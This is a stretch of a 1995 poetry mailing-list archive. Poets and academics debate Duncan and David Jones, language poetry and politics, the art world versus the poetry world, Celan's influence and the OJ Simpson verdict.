Yes, death as a presence in Opening of the Field. Also, what I was trying to get at, (and thanks Charles, for bringing Blood's Domaine in) is the medievalness of that book. In fact, am very interested to see what has been written, in total, on this in Duncan. Wanted to get at, what Silliman referred to as that "sense of Derivation a la Duncan" and what is a convergence here, is that medievalism, those "passages" in Duncan, at the very door, like they say, of death, representing a passage into afterlife, and also a passage into manhood. You hit the stanza right that I was thinking of in the enamored mage, but I'm also wantin to get into this mix here, with David Jones in mind, and that section again, lovely, that Graham gives of the stretcher-bearers in In Parenthesis--wanted to get at this:

...as if a host of readers will join the beloved

ready to dance with me, it's for the
    unthinking
ready thing I'm writing these poems.

--from Opening of the Field by Robert Duncan.

tt

tod thilleman

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72. tunguska
Re: fragments, mourning/wild blue yonder still
Wed 4 Oct 1995

Graham, great, those stretcher-bearers. But do you mean, Jone's literally has the idea of construction, building, in mind, or is there some sense of re-animation, or, more precdisely perhaps, inter-animation, between two sides of something....

couple with, maybe you know, or someone has some insight into, what John Montague refers to as the four poets of the british renaissance. I believe it was MacDiarmid, Graves, Yeats, and Jones. In other words, is there some old tradition revived in Jones. I'm still trying to relate this to derivation, a la Duncan (where one can view the Structure of Rime series as a continual reification, from doubt, to surety, so to speak, in the heart of the poet, among other reifications, that show forth that "structure") I mean to find, of course, like the rest here, some ground to work from, so that we are not flying off about young versus old, bad versus good, or, more to the point, abstract versus non-abstract, solid (believable?) poetry.

thilleman

: was it the death of Davie, that brought Jones in, or was it from something else?
tod thilleman

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73. Burt Kimmelman
Re: Influence query
Wed 4 Oct 1995

Kathryne Lindberg,

I threw out my darn ballot already!

How quickly the culture absorbs its own experimenters and otherwise outsiders.

Anyway, it's comforting to learn of your doings in the MLA.

Burt Kimmelman

↑ Index

74. Bill Luoma
Re: wild blue yonder
Wed 4 Oct 1995

Ron,

You wrote: "Similarly, all sound poetry 'says the same thing' and it says it over and over."

che cosa?

↑ Index

75. Steve McCaffery
Change of Address
Wed 4 Oct 1995

People interested might want to take note of the new address of
STEVE McCAFFERY & KAREN MacCORMACK:
1086 Bathurst St 2nd floor
TORONTO ON M5R 3G9
CANADA
Phone [redacted].

An announcment on Mac Cormack's new book "Marine Snow" & of its Toronto & Buffalo launches to follow shortly

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76. SUSAN E. TICHY
Re: 1 PM EDT
Wed 4 Oct 1995

For 24 hours I too thought the jury couldn't be blamed that they got a fucked up case to hear, with reasonable doubt personified. But today one of the jurors said she believed OJ to be innocent because he had no motive. She couldn't see any domestic violence in this case; it was a murder.

Susan

↑ Index

77. Tom Beard
Re: identity problems in the wild blue
Wed 4 Oct 1995

Mark Wallace wrote -

> *As Rod pointed out in his introduction to the recent Barrett Watten issue of Aerial, for Watten language poetry simply can't be understood without the context of the Vietnam war and an intense search on the part of Watten and others for a way to best respond to that particular crisis. Was that the only impetus for early Language poetry? Probably not, but it certainly has to be considered extremely important.*

This interested me, since most of the critical/theoretical writing in _In the American Tree_ has an emphasis on politics that to me seems very much a product of the sixties. Is it possible that those of us who did most of our growing up _after_ the Vietnam war, and whose _parents_ were of the protest generation, might subscribe to a different poetics? Some of the poetic/political goals of langpo and post-structuralist theory (e.g. breaking down the assumption of a single, given meaning for a text) have almost become second nature for more recent generations, who have a much-vaunted mistrust of _any_ imposed narratives.

Are we more likely to have an apolitical outlook (which is itself a political stance), or ecological concerns, or gender/sexuality/race concerns for those who feel disadvantaged by these factors? Or are we more likely to be interested in information technology and the mass media? One movement that sees itself as replacing the domesticated postmodernism of a past generation is 'Avant-Pop' literature, with the likes of Mark Leyner, Kathy Acker, William Gibson, Eurudice and Douglas Coupland realizing that disrupted narratives, a multiplicity of voices and ironic plagiarism are no longer cutting edge (they're a Levi's commercial) and that Bob Dylan lyrics no longer count as pop- culture references. Most of these writers use prose as a medium: who would you count as an Avant-Pop poet?

The generational change has probably been exacerbated in NZ by the rapid change in the latter half of the 80s from a stiflingly over-protected Albanian style of economy to what some see as an overly laissez-faire regime. Global popular culture has exploded into this country in the last 5-10 years, and the literary establishment has _no_ idea how to handle it. The Left is now conservative, trying to regain a welfare state that now glows with nostalgia. This rightwards movement economically, simultaneous with a belated diversification of cultures, is the extent of the political concerns in my writing. Has anyone else felt the need to react against the assumption that a writer _must_ take certain political stands?

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I

am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall
teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

78. Tony Green

Re: fragments, mourning/wild blue yonder still

Thu 5 Oct 1995

---

what brought David Jones In ... was Joris Rothenberg anthology naming him
but against a Faber & Faber induced blank ... admirations expressed

Tony Green,
e-mail: [redacted]

↑ Index

79. Thomas Bell

Re: Identity problems in the wild blue

Thu 5 Oct 1995

On October 4 Tom Beard said:
>Has anyone else felt the need to react against the
>assumption that a writer _must_ take certain
>political stands?

I think that this is part of the difficulty but in a different
way than your post reads. A poet would do better to write
through concrete reality. My reading of "bland" which
started this discussion is that the blandness relates to
a distancing from the concrete into the abstract and formal.

From my point of view(and I am open to correction on this)
both "the wild blue yonder and new formalist schools are
a move away from a harsh concrete reality we live with. One
the aims of the avant-garde was to direct attention to
a reality that was not as pleasant and bland as it was
presented.

I also think that if you think the sixties and Vietnam
protest were about politics, you have subscribed to
an inadequate presentation. The sixties protests were
anti political and _radically_ opposed to the left as
well as the right.

Bada Shanren
Tom Bell
.

↑ Index

80. Wystan Curnow
Re: poetry and visual art
Thu 5 Oct 1995

Dodie, I was amused, too. Bemused. Actually I know plenty of NY artists who are 'amazingly open, personal, and unpretentious' but I also like my artists reserved, cool, and up with the play, here in Auckland but, you know, especially in New York. The city, seems to me, is more than it's moneyed dealer/museum structure--calling it corrupt is a symptom of poet's self-pity more than a cure for it--and US campuses are almost be definition islands of teaching/learning devoid of culture, in the sense of the culture sustained by major urban centres. University professors can be open, personal and unpretentious, but do they dress well? What are their tastes in art, music and poetry? So, one of the great advantages enjoyed by visual artists has been the cultural life of New York. I don't know that the workshop culture on campuses is a key, because in New Zealand the difference between the mainstreams of the two arts is much the same and there are hardly any courses in creative writing here.

Jordan Davis said the view that any painting with words in it instantly fell to half the value it would have had had it not those words still had substance. For much of the 80s it was arguably the other way around. And certainly, the likes of Lawrence Weiner, Joseph Kosuth, make a decent living installing words on gallery walls and even selling them to collectors and museums for good prices.

There seems little doubt that the prestige of literature (and of poetry especially) has fallen over the century, and that of the visual arts has risen. The process has accelerated over the second half. This has something to do with the rise of visual media generally. there is probably a connection, then, between the greater prestige of the visual arts and the more avant-garde character of its mainstream.

I was interested in George Bowering's comment that in Canada the poetics of avant-garde were the mainstream. Even if he is exaggerating, and given that it's not the case in New Zealand, I nevertheless suspect that internationally it is the US avant-garde tradition that is the more widely known and followed. Am I wrong? How this has a bearing on the art/poetry relation is that in the visual arts the mainstream is--and over the last 15 years as New York's dominance has declined--an international construction.

wystan

↑ Index

81. Wendy Battin
Re: The Art and Poetry Worlds
Thu 5 Oct 1995

Brian Cassidy wrote:
>Is this discrepancy simply because of the differences in
>structure/hierarchy/economics between the two "worlds"? Or, perhaps more
>interestingly, might it have something to do with the nature of the two
>mediums? Another option?

Money & "objectness," certainly. Also perhaps the fact that the currency of language keeps being devalued; more people know they're being lied to most of the time, but increase of cynicism doesn't necessarily make for an increase in attention to the saying. Quite the contrary, usually. It drives many who care about words at all back to what they already know & trust, and those who care less simply stop listening.

Wendy

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82. Rod Smith
Re: identity problems in the whyld blue
Thu 5 Oct 1995

Mark mentioned my talk abt Vietnam in the Aerial 8 intro & there have been a few posts about politics as they might now exist for the poet. We're confronted now with a much worse situation politically even than the 60s I think. Simply because people know that what they think doesn't matter. Party politics in the U.S. still has some significance, I don't want to overstate this, but increasingly real political power is in the hands of corporations which run national governments & economies. A two-tiered global economy of haves & have-nots is in place & rapidly developing. This is not ok. The first step in trying to change this is for enough people to understand what is going on & trust that they are not alone in their understanding. --Rod

↑ Index

83. Tom Beard
whyld blue (TM)
Thu 5 Oct 1995

Rod wrote:

> *We're confronted now with a much worse situation politically even than the 60s I think.*
>
> *increasingly real political power is in the hands of corporations which run national governments & economies. A two-tiered global economy of haves & have-nots is in place & rapidly developing.*

So why is there not the atmosphere of political activism that we associate with the 60s? Has the new generation of educated youth divided up into those content with a McJob & dreaming of a bit part in a Richard Linklater film, and those intent on working their way up in those corporations that now run the world? Is the role of social activist now left to those few remaining survivors of the 60s who haven't found a job in the marketing department of Coca-Cola?

Okay, I'm being overly simplistic and cynical. But picture this: a young poet, perhaps experimenting with linguistic forms, perhaps carving out delicate lyrics, while working 8 til 7 as a financial analyst for MegaBank (TM) Corporation. She or he may be oblivious to the plight of the have-nots, or may actively support a free-market economy. Are we to demand that this poet "get with the programme" and start deconstructing the dominant ethos of late Capitalism? Or do we dismiss the gedankenexperiment as unrealistic, saying "no-one who works for the corporate exploiters could possibly be an interesting poet" (shades of Helen Vendler's "you have to be a facist to like the Cantos")? Or perhaps we claim that this poet's work, if it is linguistically innovative, must be unconsciously working against his or her own political assumptions.

> *This is not ok. The first step in trying to change this is for enough people to understand what is going on & trust that they are not alone in their understanding.*

I don't want to sound snide, but I don't see how poetry in print runs of a few hundred are going to help the oppressed masses, especially when the readers are likely to already be converts to the writer's cause. It could be argued that experimenting with typographical marks on a piece of paper is a game for the idle bourgeois, especially when you consider the level of education required to read the critical writings of language poets. But hey, I've got no problems with games for the idle bourgeois, whether they be interior design, wine collecting or writing poetry.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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84. Schuchat
Re: Celan Salon
Thu 5 Oct 1995

Why is it that German literature, especially poetry, is less important ("influential") in American literature than, e.g., French?

↑ Index

85. R I Caddel
Poets n visuals
Thu 5 Oct 1995

A cheer for Spring reminding the poets not to be sorry for themselves, albeit they don't get to glitzy parties. One certainly defines ones audience as one goes along over here, usually ending up on first name terms with them - if that's a problem, a more appropriate artform would seem to be advertising. Or, if it's the dressing up you like, why not try for high court judge?

The alternative, as exhibited in UK poetry by the hyped (and then remaindered) New Generation Poets (or rather, by their promoters) is unthinkable: soundbite poetics at best. Verily, they have their reward...

Actually, I like Merlot n Brie, if the latter be unsanitised and ripe.

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

86. George Bowering
Re: fragments, mourning & derivation
Thu 5 Oct 1995

I got a little worried when Tod T. quoted Duncan as saying he made poetry utilize my faculties at large." That is not the way I have always quoted him, and I could not believe that Duncan would use that horrid verb. So I had to go and haul it out, the book; and much to my relief see that Duncan did say "exercise", not [shudder} "utiliza." [I mean not "utilize"]

↑ Index

87. CAROLYN L. FORCHE-MATTISON

Re: The Art and Poetry Worlds

Thu 5 Oct 1995

On Wed, 4 Oct 1995, eric pape wrote:

> *Gwyn: Here's the problem as I see it: What means "worse?" THe problem is that workshops have to supply value, and to do so, it has to use some sort of uniform criteria. Up to now, that criteria has been supplied nicely by residual new criticism, even as the rest of the world moves on. As some smart folks argued not that long ago when dealing with Mr. Corn, assigning value is a questionable enterprise. But is unavoidable in the classroom situation. How else do we grade our students?*

Eric: I missed the Corn discussion but would assume that this list dispatched his arguments with some ease. While mindful of academy's function as a reproductive site of the culture/superstructure of late/hyper/global/multinational capitalism, is it not possible for the "classroomed" poets to reject the (New Criticism) critique-based "workshop," and restore to that term its generative implications? Why should "workshop" (a post-war construct) consist in the dubious collective "repair" of unchallenging literary "products"?

> *So let's say we change criteria. Say to more "language based" poetries. The problem remains. We haven't changed that at all. We are still stuck with evaluation, over and over, everyday.*

Why is this so? Innovate poetries are only "difficult" to "discuss" in the so-called "traditional" (again, 50 yr. old) workshop because those poetries resist submission to a limited set of critical assumptions--upon -closer- readings in the same space, however, they provoke the same rigorous and provocative discussion in the classroom as in the cafe, on this list, or anywhere else. Once the arrogant and presumptive project of "repair" has been suspended, the poet is free to present his/her poetics and engage readers in open exploration of possibilities. As for the ritual of grades, any active participant receives an "A," as is true, in my observation, of most graduate seminars in the academy.

> *I applaud the efforts to change from within. It is after all what I find myself doing as well, though on a much much smaller scale. There are a great deal of good things about writing programs. Not least the inclusion of voices we would never hear otherwise. Writing programs have allowed more people to write than ever before, and I may be naive, but I think that is a good thing. I revel in the proliferation of styles. What I am interested in is a way to encourage, rather than discourage, that proliferation in the workshop, but I am not sure we can do that without fundementally changing the structural limitations of the workshop (authority, administration, etc).*

The workshop's "structural limitations" are precisely what must be changed.

--Carolyn

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88. Jonathan A Levin
Re: The Art and Poetry Worlds/Stein
Thu 5 Oct 1995

List buds--

There seems to be a lot of skepticism out there that anyone is reading/"getting" Stein these days. If anything is working in the world of academic criticism/teaching, it is getting writers like Stein back into circulation, and in meaningful ways. Sure, most people who go see a broadway play about Stein don't know the first thing about her (and they don't know the first thing about Vietnam when they see Miss Saigon, I'm sure). Broadway's not the point. I don't know anyone who teaches Stein's "personality" or her influence on Hemingway. FRankly, I don't see how I could have made my way through graduate school with that kind of approach. Anyway, I've taken a stab at Stein and canonization, arguing (obviously?) that personality was an anxious defense against a modernist practice that undermined assumptions about history and form that slowly became classic between the 20s and WWII. It's in a book called Rereading the New: A Backward Glance at Modernism, edited by Kevin Dettmar (Michigan, 1992). It was miserably promoted by Michigan (my alma mater, alas), to the point even of indicating in advertising copy that it was a collection of essays by Kevin Dettmar! Lots of good stuff in it, in any event, on modernism and canonization, as well as on the "postmodernism" in modernism. (If I had time, I'd try to be more clever in saying that last bit. Oh well.) On with Stein! If you haven't yet had the pleasure of Ulla Dydo's A Stein Reader (Northwestern, 1993), have it soon. I'm switching! Others?

Jonathan Levin
NYC

↑ Index

89. SUSAN E. TICHY
Re: whyld blue (TM)
Thu 5 Oct 1995

Hey, folks, we all know how to be cynical. It's a requirement for the job. But I keep wondering why people who are teaching at universities are on line asking each other questions about young people and young poets. Don't you know

any? I compare the generalizations made here to the poets I work with every week. I compare them to poets I meet in my community in real life, elsewhere, and I don't see these cardboard monsters anywhere. Whether they are saving the world is a pretty old horse to beat on. But I know more poets than I can count on my hands who have saved THEMSELVES by writing, and some of them come from families where they are the first to attend college, or the first to leave their home town or neighborhood. I know a rural Latino family in which the only two males left alive, not dead by homocide, suicide, or auto wreck, are artists. Romantic? Explain that to them. What makes me chuckle is that if we all believed in the terrible futility of what we do, we'd be doing something else. It's our privilege to despair.

Going off the list for ten days. I'll see the new news when I get back. Susan

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90. SUSAN E. TICHY
Re: The Art and Poetry Worlds
Thu 5 Oct 1995

Bravo, Carolyn. The only barrier to changing the workshop is that we have internalized it. Susan

On Thu, 5 Oct 1995, CAROLYN L. FORCHE-MATTISON wrote:

> *On Wed, 4 Oct 1995, eric pape wrote:*
>
> *Gwyn: Here's the problem as I see it: What means "worse?" THe problem is that workshops have to supply value, and to do so, it has to use some sort of uniform criteria. Up to now, that criteria has been supplied nicely by residual new criticism, even as the rest of the world moves on. As some smart folks argued not that long ago when dealing with Mr. Corn, assigning value is a questionable enterprise. But is unavoidable in the classroom situation. How else do we grade our students?*
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> *Eric: I missed the Corn discussion but would assume that this list dispatched his arguments with some ease. While mindful of academy's function as a reproductive site of the culture/superstructure of late/hyper/global/multinational capitalism, is it not possible for the "classroomed" poets to reject the (New Criticism) critique-based "workshop," and restore to that term its generative implications? Why should "workshop" (a post-war construct) consist in the dubious collective "repair" of unchallenging literary "products"?*
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> *So let's say we change criteria. Say to more "language based" poetries. The problem remains. We haven't changed that at all. We are still stuck with evaluation, over and over, everyday.*

> *Why is this so? Innovate poetries are only "difficult" to "discuss" in the so-called "traditional" (again, 50 yr. old) workshop because those poetries resist submission to a limited set of critical assumptions--upon -closer- readings in the same space, however, they provoke the same rigorous and provocative discussion in the classroom as in the cafe, on this list, or anywhere else. Once the arrogant and presumptive project of "repair" has been suspended, the poet is free to present his/her poetics and engage readers in open exploration of possibilities. As for the ritual of grades, any active participant receives an "A," as is true, in my observation, of most graduate seminars in the academy.*
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> *I applaud the efforts to change from within. It is after all what I find myself doing as well, though on a much much smaller scale. There are a great deal of good things about writing programs. Not least the inclusion of voices we would never hear otherwise. Writing programs have allowed more people to write than ever before, and I may be naive, but I think that is a good thing. I revel in the proliferation of styles. What I am interested in is a way to encourage, rather than discourage, that proliferation in the workshop, but I am not sure we can do that without fundementally changing the structural limitations of the workshop (authority, administration, etc).*
>
> *The workshop's "structural limitations" are precisely what must be changed.*
>
> *--Carolyn*

↑ Index

91. Daniel Bouchard/College/hmco

Re: Celan Salon

Thu 5 Oct 1995

> *Why is it that German literature, especially poetry, is less important ("influential") in American literature than, e.g., French?*

This probably isn't the answer you're looking for but your question reminded me immediately of a poem by Charles Reznikoff:

Reading some of the German poets of the last century;
sad, yes, but sweet and gentle.
Just then a knock on the door
and I opened it: Hitler!

That's as best I can do without the poem before me. It's somewhat of an answer, no?

[redacted]

↑ Index

92. CAROLYN L. FORCHE-MATTISON
Re: Influence query
Thu 5 Oct 1995

I would like to thank this list for assisting me in suggesting poets, in addition to Michael Palmer and Andre du Bouchet, who might have been influenced by Celan. Among others, you suggested Pierre Joris, Keith and Rosmarie Waldrop, Tom Mandel, David Fox, Ben Friendlander, Susan Howe, Norma Cole, and Jerry Estrin.

David Fox wrote:

I've read his work & have been influenced, but I'm rather inarticulate about influences: I don't understand how they (influences) show up. What do you want to explain? To grad-students, I mean.

In order to "justify" hosting seminars on such poets as Celan and Jabes, as I am doing this semester, I must include the ways in which these poets have influenced American poetry, and hence my request for the assistance of this list. The question of influence is, perhaps, best articulated by those who lay claim to it. My pedagogical practice tends to resist the explanatory mode. In this particular instance, I was provided with an opportunity to introduce the work of US poets not otherwise extensively read in the academy.

So to the list, my gratitude.

--Carolyn

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93. Willa Jarnagin
Re: poetry and visual art
Thu 5 Oct 1995

On Thu, 5 Oct 1995, R I Caddel wrote:

> *A cheer for Spring reminding the poets not to be sorry for themselves,*
> *albeit they don't get to glitzy parties.*

Hey, that's New York. In Boston, where several years ago I went to Mass. College of Art and got a BFA in Painting, I've been to many more "glitzy" parties revolving around poetry than visual art. (Which is to say I've only been to one really glitzy party, where I met John Ashbury and he told me about his medical condition that has the likely name of "Wandering Legs.") In Boston the galleries SUCK, art school is comparable to trade school in most people's eyes (that is, if you're actually getting your hands dirty; if you're an art HISTORIAN

you can get a job in a museum). Maybe it's because this is a university town and universities value writing more than visual art (or why would they have so many writing programs and so few studio arts classes? Visual art is relegated to tiny underfunded colleges like Mass. Art) that poetry is so much more 'visible' than visual art. As for the art world valuing the avant garde more so than does the literature world.....huh? Who is this art world? If museum curators buy more abstract paintings and exhibit more installations, it's usually because they have no idea what they're looking at, because they're all ART HISTORIANS! They still buy crap while the good stuff is exhibited only in artists' studios, such as the Vernon Street studios in Somerville which is probably going to close soon because the building is being sold. (A friend of mine has a studio there and breathes fumes all day from the sneaker foam being manufactured downstairs. This is not a Funded operation here....)

I suppose the bottom line is: there is ALWAYS going to be a division between the artist and the buyer/supporter of the art, be it visual, verbal, olfactory, whatever.

Well, actually most of the work exhibited at Vernon Street was crap too. But their party was pizza and bowls of pretzels. No wandering legs.

Willa

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94. Daniel Bouchard/College/hmco

whyld political blue

Thu 5 Oct 1995

Rod wrote:

> *We're confronted now with a much worse situation politically even than the 60s I think.*
> *increasingly real political power is in the hands of corporations*
> *which run national governments & economies. A two-tiered global economy of haves & have-nots is in place & rapidly developing.*

And Tom wrote back:

> *So why is there not the atmosphere of political activism that we associate with the 60s? Has the new generation of educated youth divided up into those content with a McJob & dreaming of a bit part in a Richard Linklater film, and those intent on working their way up in those corporations that now run the world?*

And then he kept writing:

> *I don't want to sound snide, but I don't see how poetry in print runs of a few hundred are going to help the oppressed masses, especially when the readers are likely to already be converts to the writer's cause. It could be argued that experimenting with typographical marks on a piece of paper is a game for the*

> *idle bourgeois, especially when you consider the level of education required to read the critical writings of language poets. But hey, I've got no problems with games for the idle bourgeois, whether they be interior design, wine collecting or writing poetry.*

For anyone unfamiliar with the magazine, this months issue of Z Magazine has an invigorating discussion between Michael Albert and Noam Chomsky in which Chomsky talks about the radical changes in American society over the past 30 years. This is important reading for anyone (like me) who was born in the 60s and takes those changes for granted- social relationships for example, or notions of duty in regard to the government and military. Z is also a great resource to see (& become involved in) the vast amount of political activism going on in this country on a daily basis. Rod's right about "a much worse situation politically" and the activism that is attempting to counter that situation goes unreported (save marches on Washington) because the very problem, or part of the problem, controls the outlets of mass information. It's no wonder people feel isolated about concerns for society. According to the mainstream press, we're all interested celebrities and athletes and their glamorous lifestyles or aberrant behavior. According to the Other press, there are some wonderful things being attempted in the face of great odds.

As it becomes more and more difficult for college-educated poets to reject a well-paying job with a corporation on the basis of ideals, so too will the concerns of those poets be able to remain socially oriented (if they were in the first place) in terms of progressive change. This is one of the major challenges facing young poets today.

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95. Willa Jarnagin
Re: whyld blue (TM)
Thu 5 Oct 1995

On Thu, 5 Oct 1995, SUSAN E. TICHY wrote:

> *... I know more poets than I can count on my hands who have saved THEMSELVES by writing, and some of them come from families where they are the first to attend college, or the first to leave their home town or neighborhood. I know a rural Latino family in which the only two males left alive, not dead by homocide, suicide, or auto wreck, are artists. Romantic? Explain that to them. What makes me chuckle is that if we all believed in the terrible futility of what we do, we'd be doing something else. It's our privilege to despair.*

YES, YES, YES!
Willa

↑ Index

96. Willa Jarnagin
Re: Celan Salon
Thu 5 Oct 1995

On Thu, 5 Oct 1995, Daniel Bouchard/College/hmco wrote:

> *Why is it that German literature, especially poetry, is less important ("influential") in American literature than, e.g., French?*
>
> *This probably isn't the answer you're looking for but your question reminded me immediately of a poem by Charles Reznikoff:*
>
> *Reading some of the German poets of the last century;*
> *sad, yes, but sweet and gentle.*
> *Just then a knock on the door*
> *and I opened it: Hitler!*
>
> *That's as best I can do without the poem before me. It's somewhat of an answer, no?*

Funny reply, but I don't think it's an answer, because if it is, what country is so sweet and innocent? America should be more influenced by the French than the Germans because the French are nicer? Even if France has a less hideous history than Germany, why would America, home of the slaughter of American Indians, lynchings of black people, encampment of Japanese Americans, radiation experiments on unwitting pregnant women, snuffing of AIDS information, etc. etc, give a shit? Anyway, what of German poetry by Jews?

Willa

↑ Index

97. Aldon L. Nielsen
Re: oj can you see
Thu 5 Oct 1995

I was a bit confused about that defense, but now that O.J. has testified on the Larry King show, I think I'm beginning to understand the defense timeline. Simpson was chipping golf balls on his lawn when he got an urge to call Paula. He sliced his finger getting his phone out of the Bronco, so he went into the shower to clean his finger. After that big burger from Mac's, he was a bit tired, so he fell asleep in the shower. Still asleep, he dressed in dark clothing, packed his bags and put them by the driveway. Back in his room, the sound of the phone ringing awoke him. Answering the call, he told Alan Park that he had

overslept, neglecting to mention that he was asleep in the shower. He quickly changed into more appropriate clothing for his trip. On the way to the airport his finger healed, so _nobody_ saw any cut on his hand on the flight to chicago. In Chicago he cut the back of his finger in the same place he had previously cut it, on a drinking glass.

sounds airtight to me --

_____ This wouldn't bother me so much if I believed for a minute that either the LAPD or the Prosecutors' office would in fact learn something from the episode (such as, don't put officers on the stand who have been branded as liars by their own department). But what the nation seems bent upon learning from this instead is that we should change the rules of evidence, alter the jury system, and stop rich people from spending their own money on their defense. When Willie Williams and Daryl Gates both announce on the same day that the LAPD doesn't need to be changed, we're in deep trouble indeed.

What a country!

Amiri Baraka had to spend ninety days in jail for resisting arrest. He should have gone into football instead of poetry.

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98. CAROLYN L. FORCHE-MATTISON

Re: Influence query (fwd)

Thu 5 Oct 1995

---------- Forwarded message ----------
Date: Thu, 5 Oct 1995 10:00:49 -0400 (EDT)
From: CAROLYN L. FORCHE-MATTISON <[redacted]>

I would like to thank this list for assisting me in suggesting poets, in addition to Michael Palmer and Andre du Bouchet, who might have been influenced by Celan. Among others, you suggested Pierre Joris, Keith and Rosmarie Waldrop, Tom Mandel, David Fox, Ben Friendlander, Susan Howe, Norma Cole, and Jerry Estrin.

David Fox wrote:

I've read his work & have been influenced, but I'm rather inarticulate about influences: I don't understand how they (influences) show up. What do you want to explain? To grad-students, I mean.

In order to "justify" hosting seminars on such poets as Celan and Jabes, as I am doing this semester, I must include the ways in which these poets have influenced American poetry, and hence my request for the assistance of this list. The question of influence is, perhaps, best articulated by those who lay

claim to it. My pedagogical practice tends to resist the explanatory mode. In this particular instance, I was provided with an opportunity to introduce the work of US poets not otherwise extensively read in the academy.

So to the list, my gratitude.

--Carolyn

↑ Index

99. Daniel Bouchard/College/hmco
Re: Celan Salon
Thu 5 Oct 1995

> >>Why is it that German literature, especially poetry, is less important
> >>("influential") in American literature than, e.g., French?
>
>
> This probably isn't the answer you're looking for but your question reminded me
> immediately of a poem by Charles Reznikoff:
>
> Reading some of the German poets of the last century;
> sad, yes, but sweet and gentle.
> Just then a knock on the door
> and I opened it: Hitler!
>

Willa responded:

Funny reply, but I don't think it's an answer, because if it is, what country is so sweet and innocent? America should be more influenced by the French than the Germans because the French are nicer? Even if France has a less hideous history than Germany, why would America, home of the slaughter of American Indians, lynchings of black people, encampment of Japanese Americans, radiation experiments on unwitting pregnant women, snuffing of AIDS information, etc. etc, give a shit? Anyway, what of German poetry by Jews?

Willa, My point was, indirectly, that American poetry is less influenced by German poetry than French, not because one population is "nicer" than another but because German poetry of the 19th century was less concerned with doing new things in poetry and on the page than it was with making a point: Germans and German culture are superior and pure. Such nationalistic art- taught in schools and widely admired- led, as Reznikoff implies, to Hitler.

But in today's political climate, I shouldn't be suprised to see such ugly tendencies in poetry enjoying a resurgence.

daniel-bouchard @ hmco.com

↑ Index

100. Jordan Davis
Stein the Art and Poetry Worlds
Thu 5 Oct 1995

New from Dalkey Archive: The Making of Americans by Gertrude Stein. $16.95. Almost as long as War and Peace.

Just thought I should mention it,
Jordan

↑ Index

101. Herb Levy
Re: identity problems in the wild blue
Thu 5 Oct 1995

Tom Beard writes:

> *One movement that sees itself as*
> *replacing the domesticated postmodernism of a past generation is 'Avant-Pop' literature, with the likes of Mark Leyner, Kathy Acker, William Gibson, Eurudice and Douglas Coupland realizing that disrupted narratives, a multiplicity of voices and ironic plagiarism are no longer cutting edge (they're a Levi's commercial) and that Bob Dylan lyrics no longer count as pop-culture references. Most of these writers use prose as a medium: who would you count as an Avant-Pop poet?*

Leyner, Acker, & Gibson are, chronologically at least, in the same generation as the "past" generation you say they're reacting to (I don't know about Eurydice, Coupland's younger), so the genealogy isn't that simple.

And, in the case of Acker,

> *disrupted narratives, a multiplicity of voices and ironic plagiarism*

is just as good a description of her current work as it is for her earlier writing. I think a case could be made for reading Leyner's current work in the same light, though he has a smoother narrative surface than Acker.

As to who might be an "Avant-Pop" poet, how about Gregory Corso?

Herb Levy
[redacted]

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102. **Herb Levy**
Re: The Art and Poetry Worlds
Thu 5 Oct 1995

There's one important economic difference between the visual art world and the poetry world that I haven't seen mentioned in this discussion.

Because visual artists make and sell unique objects, there are numerous visual artists who make comfortable livings from their work despite the fact that they do not exhibited at the Whitney or get written about in the national art magazines.

This is just as true outside of New York. In most U S cities of more than 500,000 people, there are visual artists who don't have to teach or work at day jobs. And the work that these artists create and sell often has nothing to do with what is shown or written about in the major institutions.

There are very few poets (regardless of style) who can survive, let alone thrive, on their work alone. Very few writers of any kind, really. And I can't think of any way that a writer can make a living from their creative work on a local or regional level. Some kind of national recognition or presence is necessary even for many teaching positions, etc.

Writing is not unique in this way. There are also very few opportunities for generative artists in the performing arts (composers, choreographers, etc.) to succeed without national recognition. This is not as true for performing artists who recreate the work of others (musicians, dancers, etc.).

On another note, in response to Juliana Spahr's comments about artists from other fields who only read narrative work. There are also folks who make "experimental" writing whose taste in music or visual arts is nowhere near as adventurous as their own work.

Herb Levy
[redacted]

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103. **Jordan Davis**
Re: poetry and visual art
Thu 5 Oct 1995

Re price and words: Um, the medium I was thinking of was painting. It'strue, Nauman's One Hundred Live or Die sold for a LOT at auction, but onlyafter Gogo drove up the price, no? And it's true, Ed Ruscha sellspaintings along the lines of "What do you guys want, Pontiac Catalinas"regularly. But I don't believe Kossuth sells, and I don't think Weinersells for that much. Prints with words

probably run about the same as prints without words. But I don't think, say, Sarah Rapson's painting "Linda Evangelista" would have sold for _less_ if it were an appropriation of an image of the model we love to hate instead of a scrawling of her name in white on a black background (repeated and getting smaller). Jordan

↑ Index

104. Dodie Bellamy
Re: Poets n visuals
Thu 5 Oct 1995

Dear Richard,

I suggest you watch some old Mae West movies to get a grasp of American camp humor. In talking about the parties I was making a JOKE. In actuality, several poets in San Francisco have thrown parties with really good spreads--but they paid for it themselves. I work for a nonprofit literary organization, and funding for emerging writing in the States is dire.

I was intrigued by what you had to say about knowing your audience on a first name basis. Even though that comes out of a devaluing of poetry, it is an incredibly priviledged position. The text remains yours, even though others have access to it. Your audience tends to be incredibly sophisticated and interactive. It's a comfy, sweet world. Sometimes I will come across someone who has read my writing, whom I don't know, and when this happens I always feel a tiny bit raped. I know it's a silly feeling, but it's there: some stranger has had access to me.

